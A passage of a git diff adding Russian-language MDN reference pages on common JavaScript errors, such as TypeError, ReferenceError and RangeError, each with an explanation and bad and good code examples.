+</ul>
diff --git a/files/ru/web/javascript/reference/errors/not_a_function/index.html b/files/ru/web/javascript/reference/errors/not_a_function/index.html
new file mode 100644
index 0000000000..400db48a69
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/not_a_function/index.html
@@ -0,0 +1,84 @@
+---
+title: 'TypeError: "x" is not a function'
+slug: Web/JavaScript/Reference/Errors/Not_a_function
+tags:
+  - JavaScript
+  - TypeError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Not_a_function
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: "x" is not a function
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p><span id="result_box" lang="ru"><span>Была сделана попытка</span> <span>вызвать</span> <span>значение</span> <span>как</span> <span>функцию</span><span>, но</span> <span>оно</span> <span>на самом деле не</span> <span>является функцией.</span> <span class="alt-edited">Некоторый код</span> <span>ожидает, что вы предоставите функцию</span><span>, но</span> <span>этого не происходит</span><span>.</span></span></p>
+
+<p>Возможно, есть ошибка в имени функции? Возможно, объект, метод которого вы вызываете, не содержит в себе этой функции? Для примера, JavaScript объекты не имеют <code>map</code> функции, а JavaScript Array - имеют.</p>
+
+<p>Есть множество функций нуждающихся в функциях обратного вызова. <span id="result_box" lang="ru"><span>Вы должны будете</span> <span class="alt-edited">предоставить функцию обратного вызова</span> <span>для того,</span> <span>чтобы эти</span> <span>методы работы</span> <span class="alt-edited">правильно</span></span>:</p>
+
+<ul>
+ <li>Когда работаете с  {{jsxref("Array")}} или {{jsxref("TypedArray")}} объектами:
+  <ul>
+   <li>{{jsxref("Array.prototype.every()")}}, {{jsxref("Array.prototype.some()")}}, {{jsxref("Array.prototype.forEach()")}}, {{jsxref("Array.prototype.map()")}}, {{jsxref("Array.prototype.filter()")}},  {{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}}, {{jsxref("Array.prototype.find()")}}</li>
+  </ul>
+ </li>
+ <li>Когда работаете с  {{jsxref("Map")}} и {{jsxref("Set")}} объектами:
+  <ul>
+   <li>{{jsxref("Map.prototype.forEach()")}} и {{jsxref("Set.prototype.forEach()")}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ошибки_в_имени_функции">Ошибки в имени функции</h3>
+
+<p>В данном случае, случающемся очень часто, есть опечатка в имени метода:</p>
+
+<pre class="brush: js example-bad">var x = document.getElementByID("foo");
+// TypeError: document.getElementByID is not a function
+</pre>
+
+<p>Корректное имя функции - <code>getElementByI<strong>d</strong></code>:</p>
+
+<pre class="brush: js example-good">var x = document.getElementById("foo");
+</pre>
+
+<h3 id="Функция_вызвана_с_неверным_объектом">Функция вызвана с неверным объектом</h3>
+
+<p>Для некоторых методов, вы должны предоставить функцию обратного вызова и она будет работать только на корректных объектах.  В этом примере используется {{jsxref("Array.prototype.map()")}}, в котором {{jsxref("Array")}} будет работать только с массивами.</p>
+
+<pre class="brush: js example-bad">var obj = { a: 13, b: 37, c: 42 };
+
+obj.map(function(num) {
+  return num * 2;
+});
+
+// TypeError: obj.map is not a function</pre>
+
+<p>Использование с массивом:</p>
+
+<pre class="brush: js example-good">var numbers = [1, 4, 9];
+
+numbers.map(function(num) {
+  return num * 2;
+});
+
+// Array [ 2, 8, 18 ]
+</pre>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/not_defined/index.html b/files/ru/web/javascript/reference/errors/not_defined/index.html
new file mode 100644
index 0000000000..039044b94c
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/not_defined/index.html
@@ -0,0 +1,66 @@
+---
+title: 'ReferenceError: "x" is not defined'
+slug: Web/JavaScript/Reference/Errors/Not_defined
+translation_of: Web/JavaScript/Reference/Errors/Not_defined
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">ReferenceError: "x" is not defined
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="Что_пошло_не_так"><font><font>Что пошло не так?</font></font></h2>
+
+<p>Есть несуществующая переменная, которая ссылается куда-то. Эта переменная должна быть объявлена, или вам необходимо убедиться, что она доступна в вашем текущем скрипте или области исходного кода ( {{Glossary("scope")}}).</p>
+
+<div class="note">
+<p><strong>Заметка: </strong>При использовании стороних библиотек (такие как jQuery), убедитесь, что они загружаются до того, как вы используете переменные "$". Поместите тег {{HTMLElement("script")}} загружающий вашу библиотеку до того как вы будете использовать ее.</p>
+</div>
+
+<h2 id="Примеры"><font><font>Примеры</font></font></h2>
+
+<h3 id="Переменная_не_объявлена"><font><font>Переменная не объявлена</font></font></h3>
+
+<pre class="brush: js example-bad">foo.substring(1); // ReferenceError: foo is not defined
+</pre>
+
+<p>Переменная "Foo" не определена где-либо. Она должна быть в какой-то строке, так чтобы {{jsxref("String.prototype.substring()")}} метод начал работать.</p>
+
+<pre class="brush: js example-good">var foo = "bar";
+foo.substring(1); // "ar"</pre>
+
+<h3 id="Неправильная_зона_доступности"><font><font>Неправильная зона доступности</font></font></h3>
+
+<p>Переменная должна быть доступна в текущем контексте исполнения. Переменные, определенные внутри <a href="/ru/docs/Web/JavaScript/Reference/Functions">функции</a> не могут быть доступны из любой точки за пределами функции, так как переменная определена только в области видимости самой функции.</p>
+
+<pre class="brush: js example-bad">function numbers () {
+  var num1 = 2,
+      num2 = 3;
+  return num1 + num2;
+}
+
+console.log(num1); // ReferenceError num1 is not defined.</pre>
+
+<p>Тем не менее, функция может получить доступ ко всем переменным и функциям, определенным в области видимости, в которой она определена.  Другими словами, функция, определенная в глобальной области может получить доступ ко всем переменным, определенным в глобальном масштабе.</p>
+
+<pre class="brush: js example-good">var num1 = 2,
+    num2 = 3;
+
+function numbers () {
+  return num1 + num2;
+}
+
+console.log(num1); // 2</pre>
+
+<h2 id="Смотрите_также"><font><font>Смотрите также</font></font></h2>
+
+<ul>
+ <li>{{Glossary("Scope")}} - область видимости</li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Объявления">Объявление переменных в руководстве по JavaScript</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Functions#Область_данных_и_замыкания">Область видимости функций в руководстве по JavaScript</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/precision_range/index.html b/files/ru/web/javascript/reference/errors/precision_range/index.html
new file mode 100644
index 0000000000..74d433bc40
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/precision_range/index.html
@@ -0,0 +1,96 @@
+---
+title: 'RangeError: precision is out of range'
+slug: Web/JavaScript/Reference/Errors/Precision_range
+tags:
+  - JavaScript
+  - RangeError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Precision_range
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">RangeError: precision {0} out of range (Firefox)
+RangeError: toExponential() argument must be between 0 and 20 (Chrome)
+RangeError: toFixed() digits argument must be between 0 and 20 (Chrome)
+RangeError: toPrecision() argument must be between 1 and 21 (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>В одном из следующих методов был использован аргумент, значение которого лежит вне допустимых интервалов:</p>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
+
+<p>Допустимые значения для аргументов данных методов обычно лежат в диапазоне от 0 до 20 (или 21), однако спецификация ECMAScript допускает его расширение.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Метод</th>
+   <th scope="col">Firefox (SpiderMonkey)</th>
+   <th scope="col">Chrome, Opera (V8)</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{jsxref("Number.prototype.toExponential()")}}</td>
+   <td>от 0 до 100</td>
+   <td>от 0 до 20</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.prototype.toFixed()")}}</td>
+   <td>от -20 до 100</td>
+   <td>от 0 до 20</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Number.prototype.toPrecision()")}}</td>
+   <td>от 1 до 100</td>
+   <td>от 1 до 21</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Примеры_некорректного_кода">Примеры некорректного кода</h3>
+
+<pre class="brush: js example-bad">77.1234.toExponential(-1);  // RangeError
+77.1234.toExponential(101); // RangeError
+
+2.34.toFixed(-100);         // RangeError
+2.34.toFixed(1001);         // RangeError
+
+1234.5.toPrecision(-1);     // RangeError
+1234.5.toPrecision(101);    // RangeError
+</pre>
+
+<h3 id="Примеры_правильного_кода">Примеры правильного кода</h3>
+
+<pre class="brush: js example-good">77.1234.toExponential(4); // 7.7123e+1
+77.1234.toExponential(2); // 7.71e+1
+
+2.34.toFixed(1); // 2.3
+2.35.toFixed(1); // 2.4 (обратите внимание: в данном случае производится округление в большую сторону)
+
+5.123456.toPrecision(5); // 5.1235
+5.123456.toPrecision(2); // 5.1
+5.123456.toPrecision(1); // 5
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/property_access_denied/index.html b/files/ru/web/javascript/reference/errors/property_access_denied/index.html
new file mode 100644
index 0000000000..f59c2ceb92
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/property_access_denied/index.html
@@ -0,0 +1,47 @@
+---
+title: 'Error: Permission denied to access property "x"'
+slug: Web/JavaScript/Reference/Errors/Property_access_denied
+tags:
+  - Error
+  - Errors
+  - JavaScript
+  - Security
+translation_of: Web/JavaScript/Reference/Errors/Property_access_denied
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Error: Permission denied to access property "x"
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("Error")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p><span class="seoSummary">Была попытка получить доступ к объекту, на который у вас нет разрешения. Вероятно, это элемент {{HTMLElement("iframe")}}, для которого вы нарушили <a href="/en-US/docs/Web/Security/Same-origin_policy">правило ограничения домена</a>.</span></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;iframe id="myframe" src="http://www1.w3c-test.org/common/blank.html"&gt;&lt;/iframe&gt;
+    &lt;script&gt;
+      onload = function() {
+        console.log(frames[0].document);
+        // Error: Permission denied to access property "document"
+      }
+    &lt;/script&gt;
+  &lt;/head&gt;
+  &lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/read-only/index.html b/files/ru/web/javascript/reference/errors/read-only/index.html
new file mode 100644
index 0000000000..4675e8008f
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/read-only/index.html
@@ -0,0 +1,82 @@
+---
+title: 'TypeError: "x" is read-only(Ошибка Типа: "x" только для чтения)'
+slug: Web/JavaScript/Reference/Errors/Read-only
+translation_of: Web/JavaScript/Reference/Errors/Read-only
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщения">Сообщения</h2>
+
+<pre class="syntaxbox">TypeError: назначение свойств только для чтения не допускается в строгом режиме (Edge)
+TypeError: "x" доступен только для чтения (Firefox)
+TypeError: 0 доступен только для чтения (Firefox)
+TypeError: не удается назначить только для чтения свойство "x" из #&lt;объект&gt; (Chrome)
+TypeError: не удается назначить только для чтения свойство '0' [массив объектов] (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Назначенное свойство глобальной переменной или объекта является свойством только для чтения. (Технически это свойство данных, недоступное для записи.)</p>
+
+<p>Эта ошибка возникает только в коде строгого режима. В нестрогом коде назначение игнорируется.</p>
+
+<p> </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="недействительные_кейсы">недействительные кейсы</h3>
+
+<p>Свойства только для чтения не очень распространены, но их можно создать с помощью {{jsxref("Object.defineProperty()")}} или {{jsxref("Object.freeze()")}}.</p>
+
+<pre class="brush: js example-bad">'use strict';
+var obj = Object.freeze({name: 'Elsa', score: 157});
+obj.score = 0;  // TypeError
+
+'use strict';
+Object.defineProperty(this, 'LUNG_COUNT', {value: 2, writable: false});
+LUNG_COUNT = 3;  // TypeError
+
+'use strict';
+var frozenArray = Object.freeze([0, 1, 2]);
+frozenArray[0]++;  // TypeError
+</pre>
+
+<p>В JavaScript также встроено несколько свойств, доступных только для чтения. Возможно, вы пытались переопределить математическую константу.</p>
+
+<pre class="brush: js example-bad">'use strict';
+Math.PI = 4;  // TypeError
+</pre>
+
+<p> </p>
+
+<p>Прости, ты не можешь этого сделать.</p>
+
+<p>Глобальная переменная undefined также доступна только для чтения, поэтому вы не можете заставить замолчать печально известную ошибку "undefined is not a function:</p>
+
+<p> </p>
+
+<pre class="brush: js example-bad">'use strict';
+undefined = function() {};  // TypeError: "undefined" доступен только для чтения
+</pre>
+
+<h3 id="Правильные_кейсы">Правильные кейсы</h3>
+
+<pre class="brush: js example-good">'use strict';
+var obj = Object.freeze({name: 'Score', points: 157});
+obj = {name: obj.name, points: 0};   // замена его на новый работающий объект
+
+'use strict';
+var LUNG_COUNT = 2;  // "var` работает, потому что он не только для чтения
+LUNG_COUNT = 3;  // ok (анатомически маловероятно, хотя)
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.freeze()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html
new file mode 100644
index 0000000000..781ea495ec
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/redeclared_parameter/index.html
@@ -0,0 +1,61 @@
+---
+title: 'SyntaxError: redeclaration of formal parameter "x"'
+slug: Web/JavaScript/Reference/Errors/Redeclared_parameter
+tags:
+  - JavaScript
+  - SyntaxError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Redeclared_parameter
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: redeclaration of formal parameter "x" (Firefox)
+SyntaxError: Identifier "x" has already been declared (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Одно и то же имя переменной сначала использовано в качестве параметра, а потом объявлено еще раз в теле функции с помощью оператора присваивания <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code>. В JavaScript не допустимо переопределение переменной в рамках области видимости функции или блока при помощи <code>let</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>В данном случае переменная "arg" переопределяет аргумент:</p>
+
+<pre class="brush: js example-bad">function f(arg) {
+  let arg = 'foo';
+}
+
+// SyntaxError: redeclaration of formal parameter "arg"
+</pre>
+
+<p>Если вы хотите изменить значение переменной "arg" в теле функции, это можно сделать, но для этого не требуется объявлять эту же переменную еще раз. Иначе говоря, ключевое слово <code>let</code> можно опустить. Если же вы хотите создать новую переменную, необходимо ее переименовать, поскольку в противном случае она вступает в конфликт с уже существующим параметром функции.</p>
+
+<pre class="brush: js example-good">function f(arg) {
+  arg = 'foo';
+}
+
+function f(arg) {
+  let bar = 'foo';
+}
+</pre>
+
+<h2 id="Примечания_о_совместимости">Примечания о совместимости</h2>
+
+<ul>
+ <li>В версиях Firefox до Firefox 49 {{geckoRelease(49)}}, у данной ошибки был тип {{jsxref("TypeError")}} ({{bug(1275240)}}).</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code></li>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Statements/const">const</a></code></li>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/Grammar_and_types#Объявления">Объявления переменных</a> в <a href="/ru/docs/Web/JavaScript/Guide">Руководстве по JavaScript</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html b/files/ru/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html
new file mode 100644
index 0000000000..ef0179a7ca
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/reduce_of_empty_array_with_no_initial_value/index.html
@@ -0,0 +1,89 @@
+---
+title: >-
+  TypeError: Reduce of empty array with no initial value(Тип ошибки: уменьшение
+  пустого массива без начального значения)
+slug: Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value
+translation_of: Web/JavaScript/Reference/Errors/Reduce_of_empty_array_with_no_initial_value
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: уменьшение пустого массива без начального значения
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>В JavaScript существует несколько уменьщающих функций :</p>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}, {{jsxref("Array.prototype.reduceRight()")}} и</li>
+ <li>{{jsxref("TypedArray.prototype.reduce()")}},  {{jsxref("TypedArray.prototype.reduceRight()")}}).</li>
+</ul>
+
+<p>Эти функции дополнительно принимают значение initialValue (которое будет использоваться в качестве первого аргумента для первого вызова обратного вызова). Однако если начальное значение не указано, будет использоваться первый элемент {{jsxref("Array")}} или {{jsxref("TypedArray")}} в качестве начального значения. Эта ошибка возникает, когда предоставляется пустой массив, так как в этом случае не может быть возвращено начальное значение.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильные_примеры">Неправильные примеры</h3>
+
+<p>Эта проблема часто возникает в сочетании с фильтром ({{jsxref("Array.prototype.filter()")}}, {{jsxref("TypedArray.prototype.filter()")}}) который удалит все элементы списка. Таким образом, не оставляя ни одного для использования в качестве начального значения.</p>
+
+<pre class="brush: js example-bad">var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x =&gt; x &gt; 0)         // удаление всех элементов
+    .reduce((x, y) =&gt; x + y)    // no more elements to use for the initial value.</pre>
+
+<p>Аналогично, та же проблема может возникнуть, если в селекторе есть опечатка или непредвиденное количество элементов в списке:</p>
+
+<pre class="brush: js example-bad">var names = document.getElementsByClassName("names");
+var name_list = Array.prototype.reduce.call(names, (acc, name) =&gt; acc + ", " + name);
+</pre>
+
+<h3 id="Правильные_примеры">Правильные примеры</h3>
+
+<p> </p>
+
+<p>Эти проблемы могут быть решены двумя различными способами.</p>
+
+<p>Один из способов - фактически предоставить initialValue в качестве нейтрального элемента оператора, например 0 для сложения, 1 для умножения или пустую строку для объединения</p>
+
+<p> </p>
+
+<pre class="brush: js example-good">var ints = [0, -1, -2, -3, -4, -5];
+ints.filter(x =&gt; x &lt; 0)         // removes all elements
+    .reduce((x, y) =&gt; x + y, 0) // the initial value is the neutral element of the addition
+</pre>
+
+<p>Другим способом было бы два для обработки пустого случая, или перед вызовом reduce, или в обратном вызове после добавления неожиданного фиктивного начального значения.</p>
+
+<pre class="brush: js example-good">var names = document.getElementsByClassName("names");
+
+var name_list1 = "";
+if (names1.length &gt;= 1)
+  name_list1 = Array.prototype.reduce.call(names, (acc, name) =&gt; acc + ", " + name);
+// name_list1 == "" when names is empty.
+
+var name_list2 = Array.prototype.reduce.call(names, (acc, name) =&gt; {
+  if (acc == "") // initial value
+    return name;
+  return acc + ", " + name;
+}, "");
+// name_list2 == "" when names is empty.
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reduce()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reduceRight()")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("Array.prototype.filter()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.filter()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/reserved_identifier/index.html b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
new file mode 100644
index 0000000000..28c0df1add
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/reserved_identifier/index.html
@@ -0,0 +1,76 @@
+---
+title: 'SyntaxError: "x" is a reserved identifier'
+slug: Web/JavaScript/Reference/Errors/Reserved_identifier
+translation_of: Web/JavaScript/Reference/Errors/Reserved_identifier
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: The use of a future reserved word for an identifier is invalid (Edge)
+SyntaxError: "x" is a reserved identifier (Firefox)
+SyntaxError: Unexpected reserved word (Chrome)</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Lexical_grammar#Ключевые_слова">Ключевые слова</a> используются в качестве идентификаторов. Ключевые слова зарезервированные и в строгом и обычном режиме:</p>
+
+<ul>
+ <li><code>enum</code></li>
+</ul>
+
+<p>Следующие ключевые слова резервируются для кода, который выполняется только в строгом режиме (strict mode):</p>
+
+<ul class="threecolumns">
+ <li><code>implements</code></li>
+ <li><code>interface</code></li>
+ <li> <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code></li>
+ <li><code>package</code></li>
+ <li><code>private</code></li>
+ <li><code>protected</code></li>
+ <li><code>public</code></li>
+ <li><code>static</code></li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Строгий_и_нестрогий_режимы_резервирования_ключевых_строк">Строгий и нестрогий режимы резервирования ключевых строк</h3>
+
+<p>Идентификатор <code>enum</code> зарезервирован.</p>
+
+<pre class="brush: js example-bad">var enum = { RED: 0, GREEN: 1, BLUE: 2 };
+// SyntaxError: enum is a reserved identifier
+</pre>
+
+<p>Резервирование большего количества идентификаторов с использованием строгого режима.</p>
+
+<pre class="brush: js example-bad">"use strict";
+var package = ["potatoes", "rice", "fries"];
+// SyntaxError: package is a reserved identifier
+</pre>
+
+<p>Вам необходимо переименовать следующие переменные.</p>
+
+<pre class="brush: js example-good">var colorEnum = { RED: 0, GREEN: 1, BLUE: 2 };
+var list = ["potatoes", "rice", "fries"];</pre>
+
+<h3 id="Обновление_старых_браузеров">Обновление старых браузеров</h3>
+
+<p>Например, если вы используете старый браузер, в котором еще не реализована функция <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> или <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements/class">class</a></code>, вам следует перейти на более новую версию браузера, которая поддерживает данные языковые функции.</p>
+
+<pre class="brush: js">"use strict";
+class DocArchiver {}
+
+// SyntaxError: class is a reserved identifier
+// (появится только в старых браузерах, например, Firefox 44 и старше)
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://wiki.c2.com/?GoodVariableNames">Правильные имена переменных</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/resulting_string_too_large/index.html b/files/ru/web/javascript/reference/errors/resulting_string_too_large/index.html
new file mode 100644
index 0000000000..c3127a2dbf
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/resulting_string_too_large/index.html
@@ -0,0 +1,45 @@
+---
+title: 'RangeError: repeat count must be less than infinity'
+slug: Web/JavaScript/Reference/Errors/Resulting_string_too_large
+translation_of: Web/JavaScript/Reference/Errors/Resulting_string_too_large
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">RangeError: repeat count must be less than infinity and not overflow maximum string size (Firefox)
+
+RangeError: Invalid count value (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Был использован метод {{jsxref("String.prototype.repeat()")}}, с параметром <code>count</code>, указывающим количество повторений строки. Параметр может принимать значения между 0 и положительной {{jsxref("Infinity")}}, и не может быть отрицательным числом. Диапазон допустимых значений может быть описан следующим образом: [0, + ∞).</p>
+
+<p>Полученная строка также не может превышать максимальный размер строки, который может отличаться в различных движках JavaScript. В Firefox (SpiderMonkey) максимальный размер строки составляет 2<sup>28</sup> -1 (<code>0xFFFFFFF</code>).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неверно">Неверно</h3>
+
+<pre class="brush: js example-bad">'abc'.repeat(Infinity); // RangeError
+'a'.repeat(2**28);      // RangeError
+</pre>
+
+<h3 id="Верно">Верно</h3>
+
+<pre class="brush: js example-good">'abc'.repeat(0);    // ''
+'abc'.repeat(1);    // 'abc'
+'abc'.repeat(2);    // 'abcabc'
+'abc'.repeat(3.5);  // 'abcabcabc' (count will be converted to integer)
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.repeat()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/stmt_after_return/index.html b/files/ru/web/javascript/reference/errors/stmt_after_return/index.html
new file mode 100644
index 0000000000..fa7d1fe660
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/stmt_after_return/index.html
@@ -0,0 +1,84 @@
+---
+title: 'Warning: unreachable code after return statement'
+slug: Web/JavaScript/Reference/Errors/Stmt_after_return
+tags:
+  - JavaScript
+  - Return
+  - Warning
+  - Предупреждения
+translation_of: Web/JavaScript/Reference/Errors/Stmt_after_return
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Warning: unreachable code after return statement (Firefox)
+</pre>
+
+<pre class="syntaxbox">Предупреждение: недоступный код после оператора <code>return </code>(Firefox)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>Предупреждение</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Недоступный код после оператора <code>return</code> может возникнуть в следующих ситуациях:</p>
+
+<ul>
+ <li>когда в коде программы есть какие-либо выражения после оператора {{jsxref("Statements/return", "return")}}</li>
+ <li>когда используется оператор <code>return</code> без точки с запятой, но далее непосредственно за ним следует выражение.</li>
+</ul>
+
+<p>Когда присутствует выражение после оператора <code>return</code>, то выдаётся предупреждение о том, что код программы после <code>return</code> недоступен, то есть он никогда не запустится и не выполнится.</p>
+
+<p>Почему нужно ставить точку с запятой после оператора <code>return</code>? В случае оператора <code>return</code> без точки с запятой, совсем неясно, хотел ли разработчик вернуть результат, вычисляемый в следующей строке, или же он хочет остановиться сейчас и выйти из подпрограммы. Предупреждение указывает на неопределённость результата работы оператора <code>return</code>.</p>
+
+<p>Предупреждение не появится для оператора <code>return</code> без точки с запятой, если за данной строкой следуют:</p>
+
+<ul>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/var", "var")}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неверные_варианты">Неверные варианты</h3>
+
+<pre class="brush: js example-bad">function f() {
+  var x = 3;
+  x += 4;
+  return x;   //return завершает функцию немедленно,
+  x -= 3;     //поэтому эта строка никогда не запустится; она недоступна
+}
+
+function f() {
+  return     //эта строка трактуется как завершение функции оператором `return;`,
+    3 + 4;   //поэтому происходит выход из функции, и эта строка не выполнится
+}
+</pre>
+
+<h3 id="Верные_варианты">Верные варианты</h3>
+
+<pre class="brush: js example-good">function f() {
+  var x = 3;
+  x += 4;
+  x -= 3;
+  return x;  //OK: return находится после всех остальных выражений
+}
+
+function f() {
